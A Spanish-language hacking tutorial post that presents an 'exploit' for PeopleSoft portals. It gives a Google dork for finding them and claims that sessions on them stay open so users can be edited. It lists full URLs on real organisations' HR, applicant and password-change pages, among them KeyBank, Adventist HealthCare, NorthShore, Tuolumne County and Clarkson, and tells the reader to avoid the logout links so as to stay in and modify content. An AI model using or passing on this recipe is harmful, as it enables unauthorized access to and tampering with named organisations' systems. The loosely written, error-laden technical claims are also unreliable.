Careers Web Search by yei zeta

Problemas en Careers de KeyBank USA.

el siguiente problema que vemos son sesiones abiertas, es decir podemos modficiar cambiar algo por que estamos practicamente loggeados.

Descripcion:

Utilice Careers.Org para investigar más de 150.000 páginas sobre los grados en línea y las universidades, trabajos y ocupaciones, y las oportunidades empresariales desde el sitio # 1 de recursos profesionales en los Estados Unidos, Canadá y en todo el mundo. Puede encontrar información detallada sobre cientos de colegios y universidades en los Estados Unidos y en el extranjero, junto con los perfiles en profundidad de miles de programas académicos relacionados, ocupaciones e industrias.


TUTORIAL
 
Descripción:)Bueno primero que todo buenas tardes hoy por medio de una investigación traer este exploite
 
1)Vamos A google Añadimos "inurl:PORTAL_ROOT_OBJECT" nos haria unas busquedas por default
2)Grandes Variedades de los sitios estan Loggeados otros incluso no estan en EMPLOYEE por direccion URL y nos toca remplasar algunas URLS
 
3)clickeamos en cualquiera.



https://applicant3q.keybank.com/psp/hrsappl/EMPLOYEE/EMPL/s/WEBLIB_PTPP_SC.HOMEPAGE.FieldFormula.IScript_AppHP?scname=KCNV_LEFT_NAV_APPLICANT&secondary=true&fname=KCNV_F200810211205071205786309&FolderPath=PORTAL_ROOT_OBJECT.PORTAL_BASE_DATA.CO_NAVIGATION_COLLECTIONS.KCNV_LEFT_NAV_APPLICANT.KCNV_F200810211205071205786309&IsFolder=true&PORTALPARAM_PTCNAV=PT_PTPP_SCFNAV_BASEPAGE_SCR
 
http://portal.co.tuolumne.ca.us/psp/ps/TUP_COUNTY_COUNSEL/ENTP/s/WEBLIB_PTPP_SC.HOMEPAGE.FieldFormula.IScript_AppHP?scname=ADMN_TUOLUMNE_COUNTY_ORDINANCE&FolderPath=PORTAL_ROOT_OBJECT.ADMN_SC_SP_TUOLUMNE_COUNTY_ORD

___Nos da permiso para editar__ evitamos el "Logout" no presionar Hay o nos saldremos Podemos modificar. usuarios o tal vez "Itms" que serian variantes de publicaciones que hacen otros usuarios.

(SCRIPT) (JAVA)
 
EMPLOYEE/EMPL/?cmd=logout
 
ahcgateway.adventisthealthcare.com/psp/portal/EMPLOYEE/EMPL/?cmd=logout -Termino
 
javascript:saveWarning('TargetContent',null,'_top','https://cubs.sanjoseca.gov/psc/pacusprd/CUSTOMER/CUST/?cmd=logout')
 
javascript:saveWarning('TargetContent',null,'_top','/psp/hrsappl/EMPLOYEE/EMPL/?cmd=logout')


Sessions
 
https://applicant3q.keybank.com/psp/hrsappl/EMPLOYEE/EMPL/s/WEBLIB_KC_MINHP.ISCRIPT1.FieldFormula.IScript_ContentPage?PS=2&PAGELET1=KC_LNAV_APPLICANT_SECONDARY&ISPW1=Y&PAGELET2=KC_APPL_DAY_IN_LIFE_BANNER&ISPW2=Y&PAGELET3=KC_APPL_DAY_IN_LIFE&ISPW3=Y&FOOTER=KC_APPL_FOOTER_SECONDARY&ISPWF=Y&PORTALPARAM_PTCNAV=KC_SECH_APPL_DAY_IN_THE_LIFE&EOPP.SCNode=EMPL&EOPP.SCPortal=EMPLOYEE&EOPP.SCName=KCNV_LEFT_NAV_APPLICANT&EOPP.SCLabel=Left%20Navigation%20-%20Applicant&EOPP.SCPTcname=&FolderPath=PORTAL_ROOT_OBJECT.PORTAL_BASE_DATA.CO_NAVIGATION_COLLECTIONS.KCNV_LEFT_NAV_APPLICANT.KCNV_S200810081634275247657704&IsFolder=false
 
https://eapplicant.northshore.org/psp/psapp/EMPLOYEE/HRMS/c/MAINTAIN_SECURITY.CHANGE_PASSWORD.GBL?FolderPath=PORTAL_ROOT_OBJECT.PT_CHANGE_PASSWORD_GBL&IsFolder=false&IgnoreParamTempl=FolderPath%252CIsFolder
 
https://ahcgateway.adventisthealthcare.com/psp/portal/EMPLOYEE/EMPL/s/WEBLIB_PTPP_SC.HOMEPAGE.FieldFormula.IScript_AppHP?pt_fname=PAPP_CONTENT&FolderPath=PORTAL_ROOT_OBJECT.PAPP_CONTENT&IsFolder=true
 
https://ps.clarkson.edu/psp/crsecat/EMPLOYEE%20/HRMS/c/SA_LEARNER_SERVICES.CLASS_SEARCH.GBL?FolderPath=PORTAL_ROOT_OBJECT.CO_EMPLOYEE_SELF_SERVICE.HCCC_SS_CATALOG.HC_SSS_BROWSE_CATLG_P_GBL&IsFolder=false
 
https://applicant.keybank.com/psp/hrsappl/APPLICANT/ENTP/s/WEBLIB_PTPP_SC.HOMEPAGE.FieldFormula.IScript_AppHP?pt_fname=PAPP_CONTENT&FolderPath=PORTAL_ROOT_OBJECT.PAPP_CONTENT&IsFolder=true